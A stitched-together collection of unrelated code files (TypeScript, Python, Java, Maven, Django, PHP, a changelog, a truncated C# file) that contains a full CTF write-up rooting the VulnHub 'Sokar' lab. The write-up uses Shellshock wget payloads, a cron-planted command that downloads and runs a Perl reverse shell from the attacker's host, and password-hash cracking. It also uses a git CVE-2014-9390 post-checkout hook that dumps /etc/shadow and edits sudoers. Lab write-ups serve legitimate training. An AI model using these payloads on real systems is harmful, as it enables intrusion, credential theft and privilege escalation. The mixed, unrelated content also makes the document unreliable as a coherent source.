text:
//// [aliasUsedAsNameValue_0.ts]
export var id: number;

//// [aliasUsedAsNameValue_1.ts]
export function b(a: any): any { return null; }

//// [aliasUsedAsNameValue_2.ts]
///<reference path='aliasUsedAsNameValue_0.ts' />
///<reference path='aliasUsedAsNameValue_1.ts' />
import mod = require("./aliasUsedAsNameValue_0");
import b = require("./aliasUsedAsNameValue_1");

export var a = function () {
    //var x = mod.id; // TODO needed hack that mod is loaded
    b.b(mod);
}

//// [aliasUsedAsNameValue_0.js]
//// [aliasUsedAsNameValue_1.js]
function b(a) { return null; }
exports.b = b;
//// [aliasUsedAsNameValue_2.js]
///<reference path='aliasUsedAsNameValue_0.ts' />
///<reference path='aliasUsedAsNameValue_1.ts' />
var mod = require("./aliasUsedAsNameValue_0");
var b = require("./aliasUsedAsNameValue_1");
exports.a = function () {
    //var x = mod.id; // TODO needed hack that mod is loaded
    b.b(mod);
};


text:
"""The USB Discovery integration."""
from __future__ import annotations

from serial.tools.list_ports_common import ListPortInfo

from .models import USBDevice

def usb_device_from_port(port: ListPortInfo) -> USBDevice:
    """Convert serial ListPortInfo to USBDevice."""
    return USBDevice(
        device=port.device,
        vid=f"{hex(port.vid)[2:]:0>4}".upper(),
        pid=f"{hex(port.pid)[2:]:0>4}".upper(),
        serial_number=port.serial_number,
        manufacturer=port.manufacturer,
        description=port.description,
    )

redpajama_set_name: RedPajamaGithub


text:
@interface UIView (NLKit_Animations)

- (void)performAnimatedBlock:(void (^)(void))block duration:(CGFloat)duration;

- (void)setAlpha:(CGFloat)alpha animationDuration:(CGFloat)duration;
- (void)rotateToAngle:(CGFloat)angle animationDuration:(CGFloat)duration;
- (void)moveToPoint:(CGPoint)center animationDuration:(CGFloat)duration;

- (void)spinWithVelocity:(CGFloat)velocity forInterval:(NSTimeInterval)interval;

@end


text:
package com.github.spreadsheets.android.api.requests;

import com.android.volley.NetworkResponse;
import com.android.volley.ParseError;
import com.android.volley.Response;
import com.android.volley.Response.ErrorListener;
import com.android.volley.Response.Listener;
import com.android.volley.toolbox.HttpHeaderParser;
import com.github.spreadsheets.android.api.model.CellFeed;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStreamReader;

public class CellFeedRequest extends SpreadsheetRequest<CellFeed> {

    public CellFeedRequest(String url, Listener<CellFeed> listener,
                                ErrorListener errorListener) {
        super(Method.GET, url, listener, errorListener);
    }

    @Override
    protected Response<CellFeed> parseNetworkResponse(NetworkResponse response) {
        try {
            CellFeed feed = parser
                    .parseAndClose(new InputStreamReader(new ByteArrayInputStream(response.data))
                            , CellFeed.class);
            return Response.success(feed, HttpHeaderParser.parseCacheHeaders(response));
        } catch (IOException e) {
            return Response.error(new ParseError(e));
        }
    }
}


text:
<?xml version="1.0"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

    <parent>
        <groupId>org.locationtech.geomesa</groupId>
        <artifactId>geomesa-accumulo_2.12</artifactId>
        <version>3.5.0-SNAPSHOT</version>
    </parent>
    <modelVersion>4.0.0</modelVersion>

    <artifactId>geomesa-accumulo-tools_2.12</artifactId>
    <name>GeoMesa Accumulo Tools</name>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.locationtech.geomesa</groupId>
            <artifactId>geomesa-accumulo-datastore_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.locationtech.geomesa</groupId>
            <artifactId>geomesa-security_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.locationtech.geomesa</groupId>
            <artifactId>geomesa-z3_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.locationtech.geomesa</groupId>
            <artifactId>geomesa-accumulo-jobs_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.locationtech.geomesa</groupId>
            <artifactId>geomesa-utils_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.locationtech.geomesa</groupId>
            <artifactId>geomesa-filter_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.locationtech.geomesa</groupId>
            <artifactId>geomesa-convert-all_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.locationtech.geomesa</groupId>
            <artifactId>geomesa-tools_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.scala-lang</groupId>
            <artifactId>scala-compiler</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-csv</artifactId>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-reload4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>ch.qos.reload4j</groupId>
            <artifactId>reload4j</artifactId>
            <scope>runtime</scope>
        </dependency>

        <!-- provided dependencies -->
        <dependency>
            <groupId>org.apache.accumulo</groupId>
            <artifactId>accumulo-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.hadoop</groupId>
            <artifactId>hadoop-client</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.avro</groupId>
            <artifactId>avro</artifactId>
        </dependency>
        <dependency>
            <groupId>org.geotools</groupId>
            <artifactId>gt-xml</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.accumulo</groupId>
            <artifactId>accumulo-start</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.zookeeper</groupId>
            <artifactId>zookeeper</artifactId>
        </dependency>
        <dependency>
            <groupId>com.beust</groupId>
            <artifactId>jcommander</artifactId>
        </dependency>
        <dependency>
            <groupId>org.geotools</groupId>
            <artifactId>gt-epsg-wkt</artifactId>
        </dependency>
        <dependency>
            <!-- 'works with' due to license issues -->
            <groupId>javax.media</groupId>
            <artifactId>jai_core</artifactId>
        </dependency>

        <!-- test deps -->
        <dependency>
            <groupId>org.specs2</groupId>
            <artifactId>specs2-core_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.specs2</groupId>
            <artifactId>specs2-junit_${scala.binary.version}</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.accumulo</groupId>
            <artifactId>accumulo-test</artifactId>
            <exclusions>
                <!-- odd issue resolving some apacheds dependencies -->
                <exclusion>
                    <groupId>org.apache.directory.server</groupId>
                    <artifactId>*</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <dependency>
            <groupId>org.locationtech.geomesa</groupId>
            <artifactId>geomesa-accumulo-datastore_${scala.binary.version}</artifactId>
            <classifier>tests</classifier>
        </dependency>
        <dependency>
            <groupId>org.apache.accumulo</groupId>
            <artifactId>accumulo-minicluster</artifactId>
        </dependency>
    </dependencies>

    <build>
        <resources>
            <resource>
                <filtering>true</filtering>
                <directory>src/main/resources</directory>
            </resource>
        </resources>
        <plugins>
            <plugin>
                <groupId>org.codehaus.mojo</groupId>
                <artifactId>exec-maven-plugin</artifactId>
                <executions>
                    <execution>
                        <id>generate-auto-complete</id>
                        <phase>package</phase>
                        <goals>
                            <goal>exec</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <executable>java</executable>
                    <classpathScope>runtime</classpathScope>
                    <arguments>
                        <argument>-classpath</argument>
                        <!-- automatically creates the classpath using all project dependencies,
                             also adding the project build directory -->
                        <classpath />
                        <argument>org.locationtech.geomesa.accumulo.tools.AccumuloRunner</argument>
                        <argument>help</argument>
                        <argument>--autocomplete-function</argument>
                        <argument>${project.build.directory}/autocomplete.sh,geomesa-accumulo</argument>
                    </arguments>
                </configuration>
            </plugin>
            <plugin>
                <groupId>pl.project13.maven</groupId>
                <artifactId>git-commit-id-plugin</artifactId>
                <executions>
                    <execution>
                        <goals>
                            <goal>revision</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <dotGitDirectory>${project.basedir}/.git</dotGitDirectory>
                    <dateFormat>yyyy-MM-dd HH:mm</dateFormat>
                    <generateGitPropertiesFile>false</generateGitPropertiesFile>
                    <generateGitPropertiesFilename>src/main/resources/org/locationtech/geomesa/tools/geomesaVersion.properties</generateGitPropertiesFilename>
                    <failOnNoGitDirectory>false</failOnNoGitDirectory>
                    <failOnUnableToExtractRepoInfo>false</failOnUnableToExtractRepoInfo>
                </configuration>
            </plugin>
        </plugins>
    </build>

</project>


text:
package com.ltsllc.miranda;

/**
 * A Panic that represents an Exception being thrown during the course of handling a Message.
 *

 *

 * An instance of this class must have a non-null cause.
 * An instance should have a non-null reason.
 *

 */
public class ExceptionPanic extends Panic {
    public ExceptionPanic(String message, Throwable cause, Reasons reason) {
        super(message, cause, reason);
    }

    public ExceptionPanic(Throwable exception, Reasons reason) {
        super(exception, reason);
    }
}


text:
from __future__ import unicode_literals

from django.db import migrations, models
import datetime

class Migration(migrations.Migration):

    dependencies = [
        ('api', '0005_client_war_participated'),
    ]

    operations = [
        migrations.AddField(
            model_name='exit',
            name='exit_date',
            field=models.DateField(default=datetime.datetime(2016, 10, 22, 15, 54, 39, 651796)),
            preserve_default=False,
        ),
    ]


text:
<?php  include 'header.php';?>

Product

  <form class="col s12" action="?<?php echo $action; ?>" method="post">

	<?php if($action === 'editform') : ?>

        <input id="id" type="text" class="inputContent" name="idField" value="<?php echo $product->id; ?>">
        ID

    <?php endif; ?>

        <input id="name" type="text" class="inputContent" name="name" value="<?php echo $product->name; ?>">
        Name

        <input id="vendor" type="text" class="inputContent" name="vendor" value="<?php echo $product->vendor; ?>">
        Vendor

        <input id="description" type="text" class="inputContent" name="description" value="<?php echo $product->description; ?>">
        Description

        <input type="hidden" name="id" value="<?php echo $product->id; ?>">
        <button class="waves-effect waves-light btn green" type="submit" value="Confirm">Confirm

        </button>

  </form>

<?php  include 'footer.php';?>


text:
{% load transurlvania_tags %}

Things and provisions.

French Version


text:
All notable changes to this project will be documented in this file.
See [Conventional Commits](https://conventionalcommits.org) for commit guidelines.

## [1.2.1](https://github.com/bloggerpack/bloggerpack/compare/bloggerpack-create@1.2.0...bloggerpack-create@1.2.1) (2021-07-01)

**Note:** Version bump only for package bloggerpack-create

# [1.2.0](https://github.com/bloggerpack/bloggerpack/compare/bloggerpack-create@1.1.1...bloggerpack-create@1.2.0) (2021-03-16)

### Features

* bloggerpack-create updates ([9c2bc4e](https://github.com/bloggerpack/bloggerpack/commit/9c2bc4e1fb0cfd7572cba89ceea7f517431b7a48))

## [1.1.1](https://github.com/bloggerpack/bloggerpack/compare/bloggerpack-create@1.1.0...bloggerpack-create@1.1.1) (2021-03-08)

### Bug Fixes

* forgot to include package.template.js ([1ba64fe](https://github.com/bloggerpack/bloggerpack/commit/1ba64fee293436dd48fc09d767cfcc479c12c7eb))

# [1.1.0](https://github.com/bloggerpack/bloggerpack/compare/bloggerpack-create@1.0.0...bloggerpack-create@1.1.0) (2021-03-08)

### Features

* Automatically add latest `bloggerpack` to `package.json.template` if not present. ([e09b8f5](https://github.com/bloggerpack/bloggerpack/commit/e09b8f52407b529cb6c4977de63a6b75c2134860))

# 1.0.0 (2021-02-01)

**Note:** Version bump only for package bloggerpack-create

## 0.0.1 (2021-02-01)

**Note:** Version bump only for package bloggerpack-create


text:
layout: post
title: Rooting Sokar
excerpt: "Frustration and sleepness nights all in one convenient little package"
modified: 2015-02-23
tags:
comments: true
image:
  feature: kali.png
  credit: thelinuxterminal
  creditlink: http://www.thelinuxterminal.com/
---

Overview

*  Auto generated table of contents
{:toc}

## Break out the Tylenol, you will need it

Sokar seems to block pings but if you scan individual ip's it seems to work

Scaning the ports of sokar
{% highlight bash %}
	root@foxkali:~# nmap -sV -p- 192.168.219.138

	Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-31 16:22 EST
	Discovered open port 591/tcp on 192.168.219.138
	Completed SYN Stealth Scan at 16:43, 1271.78s elapsed (65535 total ports)
	Initiating Service scan at 16:43
	Scanning 1 service on 192.168.219.138
	Completed Service scan at 16:43, 6.06s elapsed (1 service on 1 host)
	NSE: Script scanning 192.168.219.138.
	NSE: Starting runlevel 1 (of 1) scan.
	Nmap scan report for 192.168.219.138
	Host is up (0.00032s latency).
	Scanned at 2015-01-31 16:22:10 EST for 1291s
	Not shown: 65534 filtered ports
	PORT    STATE SERVICE VERSION
	591/tcp open  http    Apache httpd 2.2.15 ((CentOS))
	MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)

	Read data files from: /usr/bin/../share/nmap
	Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
	Nmap done: 1 IP address (1 host up) scanned in 1291.01 seconds
	           Raw packets sent: 131076 (5.767MB) | Rcvd: 8 (336B)

{% endhighlight %}

Load the browser to http://192.168.219.138:591/ and see the sokar page

## Bash Shellshock Exploit
I Realized the page is vulnerable to bash shellshock exploit
Running the command it seems to be vulnerable to the shellshock exploit, and looking at the files in /var/spool/mail/bynarr
we are able to aquire a password for the user bynarr and an outbound ephemeral port 51242
{% highlight bash %}
	wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /var/spool/mail/bynarr" http://192.168.76.103:591/cgi-bin/cat

	Return-Path: <root@sokar>
	Delivered-To: bynarr@localhost
	Received:  from root by localhost
	To: <bynarr@sokar>
	Date: Thu, 13 Nov 2014 22:04:31 +0100
	Subject: Welcome

	Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team.
	A user account has been setup for you.

	UID 500 (bynarr)
	GID 500 (bynarr)
	    501 (forensic)

	Password 'fruity'.  Please change this ASAP.
	Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.

	All the best in your new role!

	  -Sokar-
{% endhighlight %}

Looking at the .bash_profile file of user bynarr we can see that the path includes '.' which is /home/bynarr. But wait a minute, the website on sokar shows it running
a few commands, looking at them you can tell these commands are the following: date, iostat, netstat, and uptime

Refresh the sokar page a few times and you can see that it only updates every minute on the minute. Only one cause of this, the **crontab**. What if one of the 4 commands executed there does not have a full path? then /home/bynarr/<command> would be run

Lets try it, with date first.
{% highlight bash %}
wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/echo '/bin/cat /home/bynarr/.bashrc'>/home/bynarr/date" http://192.168.76.103:591/cgi-bin/cat
wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/chmod 777 /home/bynarr/date" http://192.168.76.103:591/cgi-bin/cat
{% endhighlight %}

Sadly it didn't work if you check the sokar website after it updated, you can see date command is still there, ok lets try iostat.
{% highlight bash %}
wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/echo '/bin/cat /home/bynarr/.bashrc'>/home/bynarr/iostat" http://192.168.76.103:591/cgi-bin/cat
wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/chmod 777 /home/bynarr/iostat" http://192.168.76.103:591/cgi-bin/cat
{% endhighlight %}

Bingo! the sokar page refreshed and bynarr's .bashrc was in plain view. (why did I use .bashrc? no reason it was the only file that was handy at the time)
The page was seen as follows:
{% highlight bash %}
Wed Feb 4 04:21:02 GMT 2015
04:21:02 up 3:38, 0 users, load average: 0.00, 0.00, 0.00

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State
tcp        0      0 :::591                      :::*                        LISTEN
tcp        0      0 ::ffff:192.168.76.103:591   ::ffff:192.168.76.102:53896 TIME_WAIT
tcp        0      0 ::ffff:192.168.76.103:591   ::ffff:192.168.76.102:53900 TIME_WAIT
tcp        0      0 ::ffff:192.168.76.103:591   ::ffff:192.168.76.102:53899 TIME_WAIT
tcp        0      0 ::ffff:192.168.76.103:591   ::ffff:192.168.76.102:53898 TIME_WAIT
tcp        0      0 ::ffff:192.168.76.103:591   ::ffff:192.168.76.102:53897 TIME_WAIT
udp        0      0 0.0.0.0:68                  0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
unix  2      [ ACC ]     STREAM     LISTENING     7331   @/com/ubuntu/upstart
unix  2      [ ]         DGRAM                    7474   @/org/kernel/udev/udevd
unix  4      [ ]         DGRAM                    8639   /dev/log
unix  2      [ ]         DGRAM                    9729
unix  2      [ ]         DGRAM                    8819
unix  3      [ ]         DGRAM                    7490
unix  3      [ ]         DGRAM                    7489

# .bashrc

# Source global definitions
if [ -f /etc/bashrc ]; then
	. /etc/bashrc
fi

# User specific aliases and functions
{% endhighlight %}

##Reverse Shell via Crontab
Ok next we need to get a reverse shell in place. Checking sokar, it seems to have perl
On Kali linux:
{% highlight bash %}
cd /var/www
cp /usr/share/webshells/perl/perl-reverse-shell.pl .
{% endhighlight %}

Change reverse shell script to your ip address and port 51242 in this case my ip address for kali is 192.168.76.102

Get ready to start httpd on Kali, but first we need to modify the port so user bynarr can get it on port 51242.
{% highlight bash %}
nano /etc/apache2/ports.conf
nano /etc/apache2/sites-available/default
{% endhighlight %}

So we changed the port from port 80 over to 51242 and we now start Apache2 on Kali

Next we run the shellshock exploit again this time picking up the reverse shell when the crontab runs
{% highlight bash %}
	wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/echo '/usr/bin/wget 192.168.76.102:51242/perl-reverse-shell.pl -O /tmp/prshell.pl'>/home/bynarr/iostat" http://192.168.76.103:591/cgi-bin/cat
{% endhighlight %}

Check that its there
{% highlight bash %}
	root@fox-kali:~# wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/ls -ltra /tmp/*.pl" http://192.168.76.103:591/cgi-bin/cat
	--2015-02-07 23:54:43--  http://192.168.76.103:591/cgi-bin/cat
	Connecting to 192.168.76.103:591... connected.
	HTTP request sent, awaiting response... 200 OK
	Length: unspecified [text/plain]
	Saving to: `cat.43'

	    [ <=>                                                                                ] 119         --.-K/s   in 0.001s

	2015-02-07 23:54:43 (179 KB/s) - `cat.43' saved [119]

	root@fox-kali:~# cat cat.43

	-rw-rw-r-- 1 bynarr bynarr 3718 Feb  8  2015 /tmp/prshell.pl
{% endhighlight %}

Ok awesome it picked it up and its on /tmp folder on sokar
Next we fix up the permissions on the reverse shell
{% highlight bash %}
wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/echo '/bin/chmod 777 /tmp/prshell.pl'>/home/bynarr/iostat" http://192.168.76.103:591/cgi-bin/cat
wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/echo '/bin/ls -ltr /tmp/prshell.pl'>/home/bynarr/iostat" http://192.168.76.103:591/cgi-bin/cat
	-rwxrwxrwx 1 bynarr bynarr 3718 Feb  8  2015 /tmp/prshell.pl
{% endhighlight %}

Stop Apache2 server on Kali linux
Fix up permissions on iostat and tell it to run the reverse shell command
{% highlight bash %}
wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/chmod 777 /home/bynarr/iostat" http://192.168.76.103:591/cgi-bin/cat
wget --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/echo '/usr/bin/perl /tmp/prshell.pl'>/home/bynarr/iostat" http://192.168.76.103:591/cgi-bin/cat
{% endhighlight %}

Ok on the next Crontab run on sokar we will be able to get a reverse shell
{% highlight bash %}
	root@fox-kali:/var/www# nc -lvp 51242
	listening on [any] 51242 ...
	192.168.76.103: inverse host lookup failed: Unknown server error : Connection timed out
	connect to [192.168.76.102] from (UNKNOWN) [192.168.76.103] 48276
	 05:02:01 up  4:19,  0 users,  load average: 0.00, 0.00, 0.00
	USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
	Linux sokar 2.6.32-504.1.3.el6.x86_64 #1 SMP Tue Nov 11 17:57:25 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
	uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)
	/
	apache: cannot set terminal process group (-1): Invalid argument
	apache: no job control in this shell
	[bynarr@sokar /]$ id
	id
	uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)
{% endhighlight %}

Bingo! we are now user bynarr on sokar

##Memory Forensics
The command sudo -l shows bynarr only as sudo access to the /home/bynarr/lime file. Well okay lets see what this file is.

Run lime as sudo
{% highlight bash %}
sudo /home/bynarr/lime
add
{% endhighlight %}

Ok it seems to have dumped the ram into /tmp/ram. Lets have a look see. It appears to be binary with some readable text, lets strip out the binary and see if we can read it.
While grep'ing for user apophis and root, I came across these 2 strings that appear to be from /etc/shadow
{% highlight bash %}
strings /tmp/ram|grep "apophis"
	apophis:$6$0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH.:16434:0:99999:7:::
strings /tmp/ram|grep "root:"
	root:$6$cWQYjirZ$rADNjUFSiHmYp.UVdt4WYlmALhMXdkg9//9yuodQ2TFfiEWlAO0J6PRKesEfvu.3dfDb.7gTGgl/jesvFWs7l0:16434:0:99999:7:::
{% endhighlight %}

Next lets load up john the ripper so we can crack these hashes
{% highlight bash %}
	root@fox-kali:~# john --wordlist=/root/rockyou.txt sokar.db
	Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
	Use the "--format=crypt" option to force loading these as that type instead
	Loaded 2 password hashes with 2 different salts (sha512crypt [64/64])
	overdrive        (apophis)
{% endhighlight %}

Ok I left john to crack over night, seemed like it was able to crack apophis password but was unable to crack root.

Next we force shell to be interactive
{% highlight bash %}
[bynarr@sokar /]$ python -c 'import pty;pty.spawn("/bin/bash")'
[bynarr@sokar /]$ /bin/sh -i
{% endhighlight %}

And we change the user to apophis using overdrive as the password we got from john the ripper
{% highlight bash %}
sh-4.1$ su - apophis
Password: overdrive
	[apophis@sokar ~]$ id
	id
	uid=501(apophis) gid=502(apophis) groups=502(apophis)
{% endhighlight %}

Alright we are now user apophis, looking at the user's home folder we can see there is an executable here
{% highlight bash %}
	[apophis@sokar ~]$ file build
	file build
	build: setuid setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
{% endhighlight %}

Runing build executable
{% highlight bash %}
	[apophis@sokar ~]$ ./build
	./build
	Build? (Y/N) Y
	Y
	Cloning into '/mnt/secret-project'...
	ssh: Could not resolve hostname sokar-dev: Temporary failure in name resolution
	fatal: Could not read from remote repository.

	Please make sure you have the correct access rights
	and the repository exists.
{% endhighlight %}

Hmm...It seems to be looking for a host called sokar-dev. We tell sokar that sokar-dev is our Kali machine by starting a DNS server on Kali and tell sokar to point the nameserver to our ip address at 192.168.76.102

Editing /etc/resolv.conf
{% highlight bash %}
	echo "nameserver 192.168.76.102">/etc/resolv.conf
{% endhighlight %}

##Configure DNS on Kali
Install and configure DNS server on Kali linux
{% highlight bash %}
apt-get install bind9
nano /etc/bind/named.conf.default-zones
{% endhighlight %}

Add the following lines to named.conf.default-zones
{% highlight bash %}
zone "sokar-dev" {
       	type master;
        file "/etc/bind/sokar-dev";
};

zone "192.in-addr.arpa" {
       	type master;
        file "/etc/bind/db.192";
};
{% endhighlight %}

Create 2 files with the following, one for forward and one for reverse, called sokar-dev and other db.192:
{% highlight bash %}
root@fox-kali:/etc/bind# cat sokar-dev
	;
	; BIND data file for local loopback interface
	;
	$TTL	604800
	@	IN	SOA	sokar-dev. root.sokar-dev. (
				      2		; Serial
				 604800		; Refresh
				  86400		; Retry
				2419200		; Expire
				 604800 )	; Negative Cache TTL
	;
	@	IN	NS	sokar-dev.
	@	IN	A	192.168.76.102
	@	IN	AAAA	::1

root@fox-kali:/etc/bind# cat db.192
	;
	; BIND reverse data file for local loopback interface
	;
	$TTL	604800
	@	IN	SOA	sokar-dev. root.sokar-dev. (
				      1		; Serial
				 604800		; Refresh
				  86400		; Retry
				2419200		; Expire
				 604800 )	; Negative Cache TTL
	;
	@	IN	NS	sokar-dev.
	102.76.168	IN	PTR	sokar-dev.
{% endhighlight %}

On Kali linux make the secret-project folder and git init to start the repository
{% highlight bash %}
mkdir /root/secret-project
cd /root/secret-project
git init secret-project
{% endhighlight %}

Running the build executable again after you remove it, clones the folder /root/secret-project from kali over to /mnt/secret-project on sokar. Interesting...

Lets check the version of git
{% highlight bash %}
	[apophis@sokar ~]$ git --version
	git --version
	git version 2.2.0
{% endhighlight %}

Some Googling it shows that this version is vulnerable to CVE-2014-9390 also known as the git exploit from OSX and Windows case insensitive .Git and .git folder names
So as a result this can help us get root.

The mount command even shows that the /mnt folder is vfat aka fat32/fat16
{% highlight bash %}
	[apophis@sokar ~]$ mount
	mount
	/dev/sda1 on / type ext4 (rw)
	proc on /proc type proc (rw)
	sysfs on /sys type sysfs (rw)
	devpts on /dev/pts type devpts (rw,gid=5,mode=620)
	tmpfs on /dev/shm type tmpfs (rw)
	/dev/sdb1 on /mnt type vfat (rw,uid=501,gid=502)
	none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
{% endhighlight %}

On Kali lets go ahead and exploit this bug
{% highlight bash %}
cd /root/secret-project
mkdir .Git
cd .Git
mkdir hooks
cd hooks
{% endhighlight %}

Since the command post-checkout is executated after every clone we can use that here
{% highlight bash %}
	nano post-checkout
{% endhighlight %}

Lets execute some root commands and only root would be able to read a file like /etc/shadow
{% highlight bash %}
	#!/bin/sh
	/bin/cat /etc/shadow
{% endhighlight %}

Change the post-checkout to be executable and commit it
{% highlight bash %}
chmod +x post-checkout
cd ../..
git add .
git commit -m 'git exploit'
{% endhighlight %}

On sokar we remove the folder and run build again
{% highlight bash %}
rm -rf /mnt/secret-project
cd ~/

[apophis@sokar ~]$ ./build
	./build
	Build? (Y/N) Y
	Y
	Cloning into '/mnt/secret-project'...
	root@sokar-dev's password: <redacted>

	remote: Counting objects: 14, done.
	remote: Compressing objects: 100% (10/10), done.
	remote: Total 14 (delta 1), reused 0 (delta 0)
	Receiving objects: 100% (14/14), 14.17 KiB | 0 bytes/s, done.
	Resolving deltas: 100% (1/1), done.
	Checking connectivity... done.
	root:$6$cWQYjirZ$rADNjUFSiHmYp.UVdt4WYlmALhMXdkg9//9yuodQ2TFfiEWlAO0J6PRKesEfvu.3dfDb.7gTGgl/jesvFWs7l0:16434:0:99999:7:::
	bin:*:15628:0:99999:7:::
	daemon:*:15628:0:99999:7:::
	adm:*:15628:0:99999:7:::
	lp:*:15628:0:99999:7:::
	sync:*:15628:0:99999:7:::
	shutdown:*:15628:0:99999:7:::
	halt:*:15628:0:99999:7:::
	mail:*:15628:0:99999:7:::
	uucp:*:15628:0:99999:7:::
	operator:*:15628:0:99999:7:::
	games:*:15628:0:99999:7:::
	gopher:*:15628:0:99999:7:::
	ftp:*:15628:0:99999:7:::
	nobody:*:15628:0:99999:7:::
	vcsa:!!:16386::::::
	saslauth:!!:16386::::::
	postfix:!!:16386::::::
	sshd:!!:16386::::::
	bynarr:$6$UVZfMym7$9FFtl9Ky3ABFGErQlpQsKNOmAycJn4MlSRVHsSgVupDstQOifqqu3LvGwf3wmBvmfvh0IslwMo4/mhZ3qnVrM/:16434:0:99999:7:::
	apache:!!:16386::::::
	apophis:$6$0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH.:16434:0:99999:7:::
{% endhighlight %}

Awesome! we can see /etc/shadow and be able to execute commands as root now lets see if we can elevate

On Kali we modify the post-checkout file again and this time we add apophis to /etc/sudoers as a root user
{% highlight bash %}
	root@fox-kali:~/secret-project/.Git/hooks# nano post-checkout
{% endhighlight %}

Adding this to post-checkout
{% highlight bash %}
	#!/bin/sh
	echo "apophis	ALL=(ALL) 	ALL" >> /etc/sudoers
{% endhighlight %}

Git commit again
{% highlight bash %}
	git commit post-checkout
{% endhighlight %}

Remove the folder and run build again
{% highlight bash %}
[apophis@sokar ~]$ rm -rf /mnt/secret-project
[apophis@sokar ~]$ ./build
{% endhighlight %}

## Home stretch
Lets try root escalation
{% highlight bash %}
[apophis@sokar ~]$ sudo /bin/bash
sudo /bin/bash
[root@sokar apophis]# id
id
uid=0(root) gid=0(root) groups=0(root)
{% endhighlight %}

Bingo!
{% highlight bash %}
[root@sokar apophis]# cd /root
[root@sokar ~]# cat flag
cat flag
	                0   0
	                |   |
	            ____|___|____
	         0  |~ ~ ~ ~ ~ ~|   0
	         |  |   Happy   |   |
	      ___|__|___________|___|__
	      |/\/\/\/\/\/\/\/\/\/\/\/|
	  0   |    B i r t h d a y    |   0
	  |   |/\/\/\/\/\/\/\/\/\/\/\/|   |
	 _|___|_______________________|___|__
	|/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/|
	|                                   |
	|     V  u  l  n  H  u  b   ! !     |
	| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
	|___________________________________|

	=====================================
	| Congratulations on beating Sokar! |
	|                                   |
	|  Massive shoutout to g0tmi1k and  |
	| the entire community which makes  |
	|         VulnHub possible!         |
	|                                   |
	|    rasta_mouse (@_RastaMouse)     |
	=====================================
{% endhighlight %}


text:
namespace inCapsulam
{
    partial class UserControlPredefinedTarget
    {
        /// <summary>
        /// Требуется переменная конструктора.
        /// </summary>
        private System.ComponentModel.IContainer components = null;

        /// <summary>
        /// Освободить все используемые ресурсы.
        /// </summary>
        /// <param name="disposing">истинно, если управляемый ресурс должен быть удален; иначе ложно.</param>
        protected override void Dispose(bool disposing)
        {
            if (disposing && (components != null))
            {
                components.Dispose();
            }
            base.Dispose(disposing);
        }

        #region Код, автоматически созданный конструктором компонентов

        /// <summary>
